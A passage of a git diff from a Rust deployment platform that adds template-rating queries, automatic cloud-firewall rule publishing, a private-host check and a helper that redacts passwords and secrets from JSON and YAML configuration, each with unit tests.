 pub async fn save_security_scan(
     pool: &PgPool,
diff --git a/src/db/rating.rs b/src/db/rating.rs
index 3cf0baf1..831a94bc 100644
--- a/src/db/rating.rs
+++ b/src/db/rating.rs
@@ -1,16 +1,282 @@
 use crate::models;
-use sqlx::PgPool;
+use sqlx::{PgPool, Row};
 use tracing::Instrument;
 
+pub fn visible_average_subquery_for_obj_id(obj_id_expr: &str) -> String {
+    format!(
+        "(SELECT AVG(r.rate)::float8 / 2.0 FROM rating r WHERE r.obj_id = {obj_id_expr} AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_count_subquery_for_obj_id(obj_id_expr: &str) -> String {
+    format!(
+        "(SELECT COUNT(*)::bigint FROM rating r WHERE r.obj_id = {obj_id_expr} AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_average_subquery_for_creator(creator_user_id_expr: &str) -> String {
+    format!(
+        "(SELECT AVG(r.rate)::float8 / 2.0 FROM stack_template t JOIN rating r ON r.obj_id = t.product_id WHERE t.creator_user_id = {creator_user_id_expr} AND t.status = 'approved' AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+pub fn visible_count_subquery_for_creator(creator_user_id_expr: &str) -> String {
+    format!(
+        "(SELECT COUNT(*)::bigint FROM stack_template t JOIN rating r ON r.obj_id = t.product_id WHERE t.creator_user_id = {creator_user_id_expr} AND t.status = 'approved' AND r.category = 'application' AND r.rate IS NOT NULL AND r.hidden = false)"
+    )
+}
+
+async fn fetch_approved_template_product_id_readonly(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<Option<i32>>, String> {
+    sqlx::query(
+        r#"SELECT product_id
+           FROM stack_template
+           WHERE id = $1 AND status = 'approved'
+           LIMIT 1"#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .await
+    .map(|row| row.map(|row| row.get::<Option<i32>, _>("product_id")))
+    .map_err(|err| {
+        tracing::error!("Failed to fetch approved template product_id: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+async fn ensure_approved_template_product_id(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<i32>, String> {
+    sqlx::query(
+        r#"WITH selected AS (
+            SELECT id, COALESCE(product_id, hashtext(id::text)) AS product_id
+            FROM stack_template
+            WHERE id = $1 AND status = 'approved'
+            LIMIT 1
+        ), inserted_product AS (
+            INSERT INTO product (id, obj_id, obj_type, created_at, updated_at)
+            SELECT product_id, product_id, 'marketplace_template', NOW(), NOW()
+            FROM selected
+            ON CONFLICT (id) DO NOTHING
+        )
+        UPDATE stack_template t
+        SET product_id = selected.product_id
+        FROM selected
+        WHERE t.id = selected.id
+        RETURNING t.product_id"#,
+    )
+    .bind(template_id)
+    .fetch_optional(pool)
+    .await
+    .map(|row| row.and_then(|row| row.get::<Option<i32>, _>("product_id")))
+    .map_err(|err| {
+        tracing::error!("Failed to ensure approved template product_id: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn template_summary(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+) -> Result<Option<models::TemplateRatingSummary>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(Some(models::TemplateRatingSummary {
+            template_id: *template_id,
+            rating: None,
+            rating_count: 0,
+            rating_scale: 5,
+        }));
+    };
+
+    let row = sqlx::query(
+        r#"SELECT
+            AVG(rate)::float8 / 2.0 AS rating,
+            COUNT(*)::bigint AS rating_count
+        FROM rating
+        WHERE obj_id = $1
+          AND category = 'application'
+          AND rate IS NOT NULL
+          AND hidden = false"#,
+    )
+    .bind(product_id)
+    .fetch_one(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to fetch template rating summary: {:?}", err);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(Some(models::TemplateRatingSummary {
+        template_id: *template_id,
+        rating: row.get("rating"),
+        rating_count: row.get("rating_count"),
+        rating_scale: 5,
+    }))
+}
+
+pub async fn fetch_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+) -> Result<Option<models::MyTemplateRating>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(None);
+    };
+
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
+            id,
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at
+        FROM rating
+        WHERE obj_id = $1
+          AND user_id = $2
+          AND category = 'application'
+          AND hidden = false
+        LIMIT 1"#,
+    )
+    .bind(product_id)
+    .bind(user_id)
+    .fetch_optional(pool)
+    .await
+    .map(|rating| {
+        rating.map(|rating| models::MyTemplateRating {
+            template_id: *template_id,
+            rating_id: rating.id,
+            rating: rating.rate.unwrap_or_default() as f64 / 2.0,
+            rating_scale: 5,
+            comment: rating.comment,
+            created_at: rating.created_at,
+            updated_at: rating.updated_at,
+        })
+    })
+    .map_err(|err| {
+        tracing::error!("Failed to fetch template rating for user: {:?}", err);
+        "Internal Server Error".to_string()
+    })
+}
+
+pub async fn upsert_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+    stars: i32,
+    comment: Option<String>,
+) -> Result<Option<models::MyTemplateRating>, String> {
+    let Some(product_id) = ensure_approved_template_product_id(pool, template_id).await? else {
+        return Ok(None);
+    };
+    let internal_rate = stars * 2;
+
+    let rating = sqlx::query_as::<_, models::Rating>(
+        r#"INSERT INTO rating (
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at
+        )
+        VALUES ($1, $2, 'application', $3, false, $4, NOW() at time zone 'utc', NOW() at time zone 'utc')
+        ON CONFLICT (user_id, obj_id, category) WHERE hidden = false
+        DO UPDATE SET
+            comment = EXCLUDED.comment,
+            rate = EXCLUDED.rate,
+            hidden = false,
+            updated_at = NOW() at time zone 'utc'
+        RETURNING
+            id,
+            user_id,
+            obj_id,
+            category,
+            comment,
+            hidden,
+            rate,
+            created_at,
+            updated_at"#,
+    )
+    .bind(user_id)
+    .bind(product_id)
+    .bind(comment)
+    .bind(internal_rate)
+    .fetch_one(pool)
+    .await
+    .map_err(|err| {
+        tracing::error!("Failed to upsert template rating: {:?}", err);
+        "Internal Server Error".to_string()
+    })?;
+
+    Ok(Some(models::MyTemplateRating {
+        template_id: *template_id,
+        rating_id: rating.id,
+        rating: rating.rate.unwrap_or_default() as f64 / 2.0,
+        rating_scale: 5,
+        comment: rating.comment,
+        created_at: rating.created_at,
+        updated_at: rating.updated_at,
+    }))
+}
+
+pub async fn hide_template_rating_for_user(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user_id: &str,
+) -> Result<Option<()>, String> {
+    let Some(product_id) = fetch_approved_template_product_id_readonly(pool, template_id).await?
+    else {
+        return Ok(None);
+    };
+    let Some(product_id) = product_id else {
+        return Ok(None);
+    };
+
+    let Some(mut rating) = fetch_by_obj_and_user_and_category(
+        pool,
+        product_id,
+        user_id.to_string(),
+        models::RateCategory::Application,
+    )
+    .await?
+    else {
+        return Ok(None);
+    };
+
+    if rating.hidden == Some(true) {
+        return Ok(None);
+    }
+
+    rating.hidden = Some(true);
+    update(pool, rating).await?;
+    Ok(Some(()))
+}
+
 pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch all ratings.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -18,7 +284,7 @@ pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
             updated_at
         FROM rating
         ORDER BY id DESC
-        "#
+        "#,
     )
     .fetch_all(pool)
     .instrument(query_span)
@@ -31,13 +297,12 @@ pub async fn fetch_all(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
 
 pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch rating by id");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -46,8 +311,8 @@ pub async fn fetch(pool: &PgPool, id: i32) -> Result<Option<models::Rating>, Str
         FROM rating
         WHERE id=$1
         LIMIT 1"#,
-        id
     )
+    .bind(id)
     .fetch_one(pool)
     .instrument(query_span)
     .await
@@ -68,13 +333,12 @@ pub async fn fetch_by_obj_and_user_and_category(
     category: models::RateCategory,
 ) -> Result<Option<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch rating by obj, user and category.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
@@ -85,10 +349,10 @@ pub async fn fetch_by_obj_and_user_and_category(
             AND obj_id=$2
             AND category=$3
         LIMIT 1"#,
-        user_id,
-        obj_id,
-        category as _
     )
+    .bind(user_id)
+    .bind(obj_id)
+    .bind(category)
     .fetch_one(pool)
     .instrument(query_span)
     .await
@@ -104,24 +368,24 @@ pub async fn fetch_by_obj_and_user_and_category(
 
 pub async fn insert(pool: &PgPool, mut rating: models::Rating) -> Result<models::Rating, String> {
     let query_span = tracing::info_span!("Saving new rating details into the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         INSERT INTO rating (user_id, obj_id, category, comment, hidden, rate, created_at, updated_at)
         VALUES ($1, $2, $3, $4, $5, $6, NOW() at time zone 'utc', NOW() at time zone 'utc')
         RETURNING id
         "#,
-        rating.user_id,
-        rating.obj_id,
-        rating.category as _,
-        rating.comment,
-        rating.hidden,
-        rating.rate
     )
+    .bind(&rating.user_id)
+    .bind(rating.obj_id)
+    .bind(rating.category)
+    .bind(&rating.comment)
+    .bind(rating.hidden)
+    .bind(rating.rate)
     .fetch_one(pool)
     .instrument(query_span)
     .await
     .map(move |result| {
-        rating.id = result.id;
+        rating.id = result.get("id");
         rating
     })
     .map_err(|e| {
@@ -132,21 +396,21 @@ pub async fn insert(pool: &PgPool, mut rating: models::Rating) -> Result<models:
 
 pub async fn update(pool: &PgPool, rating: models::Rating) -> Result<models::Rating, String> {
     let query_span = tracing::info_span!("Updating rating into the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         UPDATE rating
-        SET 
+        SET
             comment=$1,
             rate=$2,
             hidden=$3,
             updated_at=NOW() at time zone 'utc'
         WHERE id = $4
         "#,
-        rating.comment,
-        rating.rate,
-        rating.hidden,
-        rating.id
     )
+    .bind(&rating.comment)
+    .bind(rating.rate)
+    .bind(rating.hidden)
+    .bind(rating.id)
     .execute(pool)
     .instrument(query_span)
     .await
@@ -162,20 +426,19 @@ pub async fn update(pool: &PgPool, rating: models::Rating) -> Result<models::Rat
 
 pub async fn fetch_all_visible(pool: &PgPool) -> Result<Vec<models::Rating>, String> {
     let query_span = tracing::info_span!("Fetch all ratings.");
-    sqlx::query_as!(
-        models::Rating,
-        r#"SELECT 
+    sqlx::query_as::<_, models::Rating>(
+        r#"SELECT
             id,
             user_id,
             obj_id,
-            category as "category: _",
+            category,
             comment,
             hidden,
             rate,
             created_at,
             updated_at
         FROM rating
-        WHERE hidden = false 
+        WHERE hidden = false
         ORDER BY id DESC
         "#,
     )
@@ -190,19 +453,18 @@ pub async fn fetch_all_visible(pool: &PgPool) -> Result<Vec<models::Rating>, Str
 
 pub async fn delete(pool: &PgPool, rating: models::Rating) -> Result<(), String> {
     let query_span = tracing::info_span!("Deleting rating from the database");
-    sqlx::query!(
+    sqlx::query(
         r#"
         DELETE FROM rating
         WHERE id = $1
         "#,
-        rating.id
     )
+    .bind(rating.id)
     .execute(pool)
     .instrument(query_span)
     .await
     .map(|_| {
         tracing::info!("Rating {} has been deleted from the database", rating.id);
-        ()
     })
     .map_err(|err| {
         tracing::error!("Failed to execute query: {:?}", err);
diff --git a/src/forms/cloud_firewall.rs b/src/forms/cloud_firewall.rs
index 62486655..62f1e860 100644
--- a/src/forms/cloud_firewall.rs
+++ b/src/forms/cloud_firewall.rs
@@ -279,6 +279,134 @@ pub fn default_firewall_name(target: &CloudFirewallTarget) -> String {
         .unwrap_or_else(|| format!("frw-server-{}", target.server_id))
 }
 
+/// Publish cloud firewall add rules for a set of public ports.
+///
+/// Intended for automatic firewall configuration triggered from:
+/// - `execute_deployment` (when the server already has an IP)
+/// - the MQ listener (when a new deployment transitions to "completed")
+///
+/// This is a lighter version of the manual route at `routes/server/cloud_firewall.rs`
+/// — it skips the live cloud-provider firewall listing/attachment and just publishes
+/// the operation, letting the Install Service handle firewall resolution.
+pub async fn publish_public_firewall_rules(
+    mq_manager: &crate::helpers::MqManager,
+    server: &crate::models::Server,
+    cloud: &crate::models::Cloud,
+    public_ports: &[String],
+    deployment_hash: &str,
+    user_id: &str,
+) -> Result<ConfigureCloudFirewallResponse, String> {
+    let provider = normalize_provider(&cloud.provider)
+        .ok_or_else(|| format!("Unsupported cloud provider: {}", cloud.provider))?;
+    let routing_key = routing_key(&cloud.provider)
+        .ok_or_else(|| format!("Unsupported cloud provider: {}", cloud.provider))?;
+
+    let cloud = if cloud.save_token == Some(true) {
+        crate::forms::CloudForm::decode_model(cloud.clone(), true)
+    } else {
+        cloud.clone()
+    };
+
+    let credentials = CloudFirewallCredentials {
+        provider: provider.to_string(),
+        token: cloud.cloud_token.clone().filter(|t| !t.trim().is_empty()),
+        key: cloud.cloud_key.clone().filter(|k| !k.trim().is_empty()),
+        secret: cloud.cloud_secret.clone().filter(|s| !s.trim().is_empty()),
+    };
+
+    let mut rules = parse_public_ports_to_firewall_rules(public_ports, server.id)?;
+
+    let target = CloudFirewallTarget {
+        provider: provider.to_string(),
+        cloud_id: cloud.id,
+        server_id: server.id,
+        project_id: server.project_id,
+        deployment_hash: Some(deployment_hash.to_string()),
+        server_public_ip: server
+            .srv_ip
+            .clone()
+            .unwrap_or_default(),
+        provider_server_id: None,
+        server_name: server.name.clone().or_else(|| server.server.clone()),
+        region: server.region.clone(),
+        zone: server.zone.clone(),
+        firewall_id: None,
+        firewall_name: Some(default_firewall_name(&CloudFirewallTarget {
+            provider: provider.to_string(),
+            cloud_id: cloud.id,
+            server_id: server.id,
+            project_id: server.project_id,
+            deployment_hash: Some(deployment_hash.to_string()),
+            server_public_ip: String::new(),
+            provider_server_id: None,
+            server_name: server.name.clone().or_else(|| server.server.clone()),
+            region: server.region.clone(),
+            zone: server.zone.clone(),
+            firewall_id: None,
+            firewall_name: None,
+        })),
+    };
+
+    let operation_id = format!("cfw_auto_{}", uuid::Uuid::new_v4());
+    for rule in &mut rules {
+        rule.labels
+            .insert("stacker.operation_id".to_string(), operation_id.clone());
+    }
+
+    let message = CloudFirewallOperationMessage {
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        operation_id: operation_id.clone(),
+        idempotency_key: idempotency_key(server.id, &CloudFirewallAction::Add, &rules),
+        action: CloudFirewallAction::Add,
+        dry_run: false,
+        target,
+        rules,
+        credentials,
+        provider_context: BTreeMap::new(),
+        requested_by: CloudFirewallRequestedBy {
+            user_id: user_id.to_string(),
+            user_email: None,
+        },
+    };
+
+    mq_manager.publish("install".to_string(), routing_key.clone(), &message)
+        .await
+        .map_err(|e| format!("Failed to publish cloud firewall message: {}", e))?;
+
+    Ok(ConfigureCloudFirewallResponse {
+        operation_id,
+        accepted: true,
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        provider: provider.to_string(),
+        server_id: server.id,
+        action: CloudFirewallAction::Add,
+        rules: Vec::new(),
+        routing_key,
+        message: "Cloud firewall auto-configuration accepted".to_string(),
+        firewall_name: None,
+        firewall: None,
+    })
+}
+
+/// Parse port strings like "8000", "53/tcp", "53/udp" into cloud firewall rules.
+fn parse_public_ports_to_firewall_rules(
+    ports: &[String],
+    server_id: i32,
+) -> Result<Vec<CloudFirewallRule>, String> {
+    let managed_scope = format!("server:{}", server_id);
+    ports
+        .iter()
+        .map(|p| {
+            let rule = crate::forms::firewall::parse_public_port(p)?;
+            Ok(CloudFirewallRule::from_port_rule(
+                rule,
+                FirewallRuleDirection::Inbound,
+                managed_scope.clone(),
+            ))
+        })
+        .collect()
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/src/forms/project/custom.rs b/src/forms/project/custom.rs
index c33d0d26..dc0193e4 100644
--- a/src/forms/project/custom.rs
+++ b/src/forms/project/custom.rs
@@ -42,6 +42,10 @@ pub struct Custom {
     pub marketplace_post_deploy_hooks: JsonValue,
     #[serde(default)]
     pub deployment_artifacts: JsonValue,
+    #[serde(default)]
+    pub catalog_application: JsonValue,
+    #[serde(default)]
+    pub install_inputs: JsonValue,
     #[serde(flatten)]
     pub networks: forms::project::ComposeNetworks, // all networks
 }
diff --git a/src/forms/project/deploy.rs b/src/forms/project/deploy.rs
index 9660522c..908f4af7 100644
--- a/src/forms/project/deploy.rs
+++ b/src/forms/project/deploy.rs
@@ -75,6 +75,11 @@ pub struct Deploy {
     /// Safe metadata for Stack Builder artifact/config-file visibility.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub(crate) config_bundle: Option<Value>,
+
+    /// Public ports to open in the cloud provider firewall after deployment.
+    /// Each string is a port number or "port/protocol" (e.g. "8000" or "8000/tcp").
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub(crate) public_ports: Option<Vec<String>>,
 }
 
 impl std::fmt::Debug for Deploy {
diff --git a/src/forms/project/payload.rs b/src/forms/project/payload.rs
index 174e879e..bb864344 100644
--- a/src/forms/project/payload.rs
+++ b/src/forms/project/payload.rs
@@ -13,6 +13,12 @@ pub struct Payload {
     pub(crate) deployment_hash: Option<String>,
     pub(crate) user_token: Option<String>,
     pub(crate) user_email: Option<String>,
+    #[serde(
+        default,
+        rename = "commonDomain",
+        skip_serializing_if = "Option::is_none"
+    )]
+    pub(crate) common_domain: Option<String>,
     #[serde(flatten)]
     pub cloud: Option<forms::CloudForm>,
     #[serde(flatten)]
@@ -45,6 +51,7 @@ impl std::fmt::Debug for Payload {
             .field("deployment_hash", &self.deployment_hash)
             .field("user_token", &self.user_token)
             .field("user_email", &self.user_email)
+            .field("commonDomain", &self.common_domain)
             .field("cloud", &self.cloud)
             .field("server", &self.server)
             .field("stack", &self.stack)
diff --git a/src/helpers/ip.rs b/src/helpers/ip.rs
index 6b66c7b4..cfd8f5a5 100644
--- a/src/helpers/ip.rs
+++ b/src/helpers/ip.rs
@@ -1,3 +1,31 @@
+/// Returns `true` when `addr` is an RFC1918 / loopback / link-local address
+/// that the Stacker cloud install service cannot reach from the internet.
+///
+/// Also treats bare hostnames (no dots) and `.local` / `.lan` / `.internal`
+/// suffixes as private, since those only resolve on the local network.
+pub fn is_private_host(addr: &str) -> bool {
+    if addr.is_empty() {
+        return false;
+    }
+    use std::net::IpAddr;
+    if let Ok(ip) = addr.parse::<IpAddr>() {
+        return match ip {
+            IpAddr::V4(v4) => {
+                v4.is_loopback()
+                    || v4.is_link_local()
+                    || v4.octets()[0] == 10
+                    || (v4.octets()[0] == 172 && (16..=31).contains(&v4.octets()[1]))
+                    || (v4.octets()[0] == 192 && v4.octets()[1] == 168)
+            }
+            IpAddr::V6(v6) => v6.is_loopback(),
+        };
+    }
+    !addr.contains('.')
+        || addr.ends_with(".local")
+        || addr.ends_with(".internal")
+        || addr.ends_with(".lan")
+}
+
 pub(crate) fn extract_ipv4_from_text(text: &str) -> Option<String> {
     text.split(|c: char| !(c.is_ascii_digit() || c == '.'))
         .find_map(|candidate| {
@@ -14,6 +42,49 @@ pub(crate) fn extract_ipv4_from_text(text: &str) -> Option<String> {
 mod tests {
     use super::*;
 
+    // ── is_private_host ──────────────────────────────────────────────────────
+
+    #[test]
+    fn private_rfc1918_addresses_are_private() {
+        assert!(is_private_host("192.168.100.245"));
+        assert!(is_private_host("192.168.1.1"));
+        assert!(is_private_host("10.0.0.1"));
+        assert!(is_private_host("10.255.255.255"));
+        assert!(is_private_host("172.16.0.1"));
+        assert!(is_private_host("172.31.255.255"));
+        assert!(is_private_host("127.0.0.1"));
+    }
+
+    #[test]
+    fn private_hostnames_are_private() {
+        assert!(is_private_host("myserver.local"));
+        assert!(is_private_host("host.internal"));
+        assert!(is_private_host("box.lan"));
+        assert!(is_private_host("localhost"));
+    }
+
+    #[test]
+    fn empty_string_is_not_private() {
+        assert!(!is_private_host(""));
+    }
+
+    #[test]
+    fn public_ips_are_not_private() {
+        assert!(!is_private_host("203.0.113.10"));
+        assert!(!is_private_host("1.2.3.4"));
+        assert!(!is_private_host("178.104.222.170"));
+        assert!(!is_private_host("8.8.8.8"));
+    }
+
+    #[test]
+    fn public_hostnames_are_not_private() {
+        assert!(!is_private_host("example.com"));
+        assert!(!is_private_host("my-server.example.com"));
+        assert!(!is_private_host("hetzner.cloud"));
+    }
+
+    // ── extract_ipv4_from_text ───────────────────────────────────────────────
+
     #[test]
     fn extracts_ipv4_from_status_message_prefix() {
         assert_eq!(
diff --git a/src/helpers/mod.rs b/src/helpers/mod.rs
index 9f4bb481..78e64311 100644
--- a/src/helpers/mod.rs
+++ b/src/helpers/mod.rs
@@ -5,6 +5,7 @@ pub mod db_pools;
 pub(crate) mod json;
 pub mod mq_manager;
 pub mod project;
+pub mod redact;
 pub mod security_validator;
 pub mod ssh_client;
 pub mod vault;
diff --git a/src/helpers/redact.rs b/src/helpers/redact.rs
new file mode 100644
index 00000000..514ed571
--- /dev/null
+++ b/src/helpers/redact.rs
@@ -0,0 +1,222 @@
+fn is_sensitive_key(key: &str) -> bool {
+    let k = key.to_lowercase();
+    k.contains("password")
+        || k.contains("passwd")
+        || k.contains("pwd")
+        || k.contains("secret")
+        || k.contains("api_key")
+        || k.contains("apikey")
+        || k.contains("private_key")
+        || k.contains("access_key")
+        || k.contains("auth_key")
+}
+
+// ─── JSON redaction ───────────────────────────────────────────────────────────
+
+/// Recursively walks a JSON value and replaces sensitive data with `"***REDACTED***"`.
+///
+/// Two patterns are handled:
+///
+/// 1. **Direct key** — the JSON object key itself is the sensitive name:
+///    `{"DB_PASSWORD": "secret"}` → value is redacted.
+///
+/// 2. **Key-value pair** — the stack_definition vars format used by ProjectForm:
+///    `{"key": "DB_PASSWORD", "value": "secret"}` → "value" field is redacted when
+///    the string stored in "key" matches a sensitive pattern.
+///
+/// Null values are never replaced. Key names and array order are preserved.
+pub fn redact_sensitive_json_values(value: &mut serde_json::Value) {
+    match value {
+        serde_json::Value::Object(map) => {
+            // Pattern 2: {"key": "<sensitive_name>", "value": "<data>"}
+            // This is the format used for env var entries in stack_definition.
+            let named_key_is_sensitive = map
+                .get("key")
+                .and_then(|v| v.as_str())
+                .map(is_sensitive_key)
+                .unwrap_or(false);
+
+            if named_key_is_sensitive {
+                if let Some(val) = map.get_mut("value") {
+                    if !val.is_null() {
+                        *val = serde_json::Value::String("***REDACTED***".to_string());
+                    }
+                }
+                // This object is a single env-var entry; no need to recurse further.
+                return;
+            }
+
+            // Pattern 1: standard JSON keys
+            for (key, val) in map.iter_mut() {
+                if is_sensitive_key(key) && !val.is_null() {
+                    *val = serde_json::Value::String("***REDACTED***".to_string());
+                } else {
+                    redact_sensitive_json_values(val);
+                }
+            }
+        }
+        serde_json::Value::Array(arr) => {
+            for item in arr.iter_mut() {
+                redact_sensitive_json_values(item);
+            }
+        }
+        _ => {}
+    }
+}
+
+// ─── YAML redaction ───────────────────────────────────────────────────────────
+
+fn redact_yaml_value(value: &mut serde_yaml::Value) {
+    match value {
+        serde_yaml::Value::Mapping(map) => {
+            for (key, val) in map.iter_mut() {
+                if let serde_yaml::Value::String(k) = key {
+                    if is_sensitive_key(k) && !val.is_null() {
+                        *val = serde_yaml::Value::String("***REDACTED***".to_string());
+                    } else {
+                        redact_yaml_value(val);
+                    }
+                }
+            }
+        }
+        serde_yaml::Value::Sequence(seq) => {
+            for item in seq.iter_mut() {
+                // Handle "VARNAME=value" entries in environment lists
+                if let serde_yaml::Value::String(s) = item {
+                    if let Some(eq) = s.find('=') {
+                        if is_sensitive_key(&s[..eq]) {
+                            let key_part = s[..eq].to_string();
+                            *s = format!("{}=***REDACTED***", key_part);
+                        }
+                    }
+                } else {
+                    redact_yaml_value(item);
+                }
+            }
+        }
+        _ => {}
+    }
+}
+
+/// Parses a YAML string, redacts values of sensitive-named keys, and
+/// re-serializes to YAML. Returns the original string on parse failure.
+pub fn redact_yaml_string(yaml: &str) -> String {
+    match serde_yaml::from_str::<serde_yaml::Value>(yaml) {
+        Ok(mut value) => {
+            redact_yaml_value(&mut value);
+            serde_yaml::to_string(&value).unwrap_or_else(|_| yaml.to_string())
+        }
+        Err(_) => yaml.to_string(),
+    }
+}
+
+// ─── tests ────────────────────────────────────────────────────────────────────
+
+#[cfg(test)]
+mod tests {
+    use super::{redact_sensitive_json_values, redact_yaml_string};
+    use serde_json::json;
+
+    // JSON tests
+
+    #[test]
+    fn redacts_password_fields() {
+        let mut v = json!({ "password": "hunter2", "username": "alice" });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["password"], "***REDACTED***");
+        assert_eq!(v["username"], "alice");
+    }
+
+    #[test]
+    fn redacts_nested_sensitive_fields() {
+        let mut v = json!({ "db": { "db_password": "secret123", "host": "localhost" } });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["db"]["db_password"], "***REDACTED***");
+        assert_eq!(v["db"]["host"], "localhost");
+    }
+
+    #[test]
+    fn redacts_in_arrays() {
+        let mut v = json!([{ "api_key": "abc", "name": "svc" }]);
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v[0]["api_key"], "***REDACTED***");
+        assert_eq!(v[0]["name"], "svc");
+    }
+
+    #[test]
+    fn leaves_null_values_alone() {
+        let mut v = json!({ "password": null });
+        redact_sensitive_json_values(&mut v);
+        assert!(v["password"].is_null());
+    }
+
+    #[test]
+    fn case_insensitive_key_matching() {
+        let mut v = json!({ "DB_PASSWORD": "s3cr3t", "API_KEY": "tok" });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["DB_PASSWORD"], "***REDACTED***");
+        assert_eq!(v["API_KEY"], "***REDACTED***");
+    }
+
+    /// stack_definition stores env vars as [{key: "NAME", value: "DATA"}] objects.
+    /// The sensitive name is a string *value* under "key", not a JSON object key.
+    #[test]
+    fn redacts_key_value_pair_format() {
+        let mut v = json!([
+            { "key": "DB_PASSWORD", "value": "super_secret_pw" },
+            { "key": "DB_HOST",     "value": "db.internal" },
+            { "key": "api_key",     "value": "sk-live-abc" },
+            { "key": "APP_PORT",    "value": "3000" }
+        ]);
+        redact_sensitive_json_values(&mut v);
+
+        assert_eq!(v[0]["value"], "***REDACTED***", "DB_PASSWORD must be redacted");
+        assert_eq!(v[1]["value"], "db.internal",    "DB_HOST must not be redacted");
+        assert_eq!(v[2]["value"], "***REDACTED***", "api_key must be redacted");
+        assert_eq!(v[3]["value"], "3000",           "APP_PORT must not be redacted");
+
+        // Key names must survive unchanged
+        assert_eq!(v[0]["key"], "DB_PASSWORD");
+        assert_eq!(v[1]["key"], "DB_HOST");
+    }
+
+    #[test]
+    fn key_value_pair_with_null_value_is_left_alone() {
+        let mut v = json!({ "key": "DB_PASSWORD", "value": null });
+        redact_sensitive_json_values(&mut v);
+        assert!(v["value"].is_null());
+    }
+
+    // YAML tests
+
+    #[test]
+    fn yaml_redacts_docker_compose_env_mapping() {
+        let yaml = "services:\n  app:\n    environment:\n      FLOWISE_PASSWORD: admin123\n      DATABASE_PASSWORD: Qwerty123\n      SECRETKEY: change-me\n      PORT: '3000'\n      HOST: localhost\n";
+        let result = redact_yaml_string(yaml);
+        assert!(result.contains("***REDACTED***"), "should contain REDACTED marker");
+        assert!(!result.contains("admin123"),   "FLOWISE_PASSWORD value must be gone");
+        assert!(!result.contains("Qwerty123"),  "DATABASE_PASSWORD value must be gone");
+        assert!(!result.contains("change-me"),  "SECRETKEY value must be gone");
+        assert!(result.contains("'3000'") || result.contains("3000"), "PORT must survive");
+        assert!(result.contains("localhost"),   "HOST must survive");
+    }
+
+    #[test]
+    fn yaml_redacts_env_list_format() {
+        let yaml = "services:\n  app:\n    environment:\n    - DB_PASSWORD=secret\n    - APP_PORT=8080\n    - API_KEY=sk-xxx\n";
+        let result = redact_yaml_string(yaml);
+        assert!(result.contains("DB_PASSWORD=***REDACTED***"), "list-style DB_PASSWORD must be redacted");
+        assert!(result.contains("API_KEY=***REDACTED***"),     "list-style API_KEY must be redacted");
+        assert!(result.contains("APP_PORT=8080"),              "APP_PORT must survive");
+    }
+
+    #[test]
+    fn yaml_unparseable_string_returned_as_is() {
+        // A tab character in a YAML mapping value position is invalid in strict mode.
+        // Use an unterminated flow mapping which serde_yaml 0.9 rejects.
+        let bad = "{unclosed: [";
+        let result = redact_yaml_string(bad);
+        // Either returned as-is (parse failed) or survived round-trip without panicking
+        assert!(!result.contains("PANIC"));
+    }
+}
diff --git a/src/helpers/security_validator.rs b/src/helpers/security_validator.rs
index 699caa59..b9af9962 100644
--- a/src/helpers/security_validator.rs
+++ b/src/helpers/security_validator.rs
@@ -1,4 +1,4 @@
-use regex::Regex;
+use regex::{Regex, RegexBuilder};
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
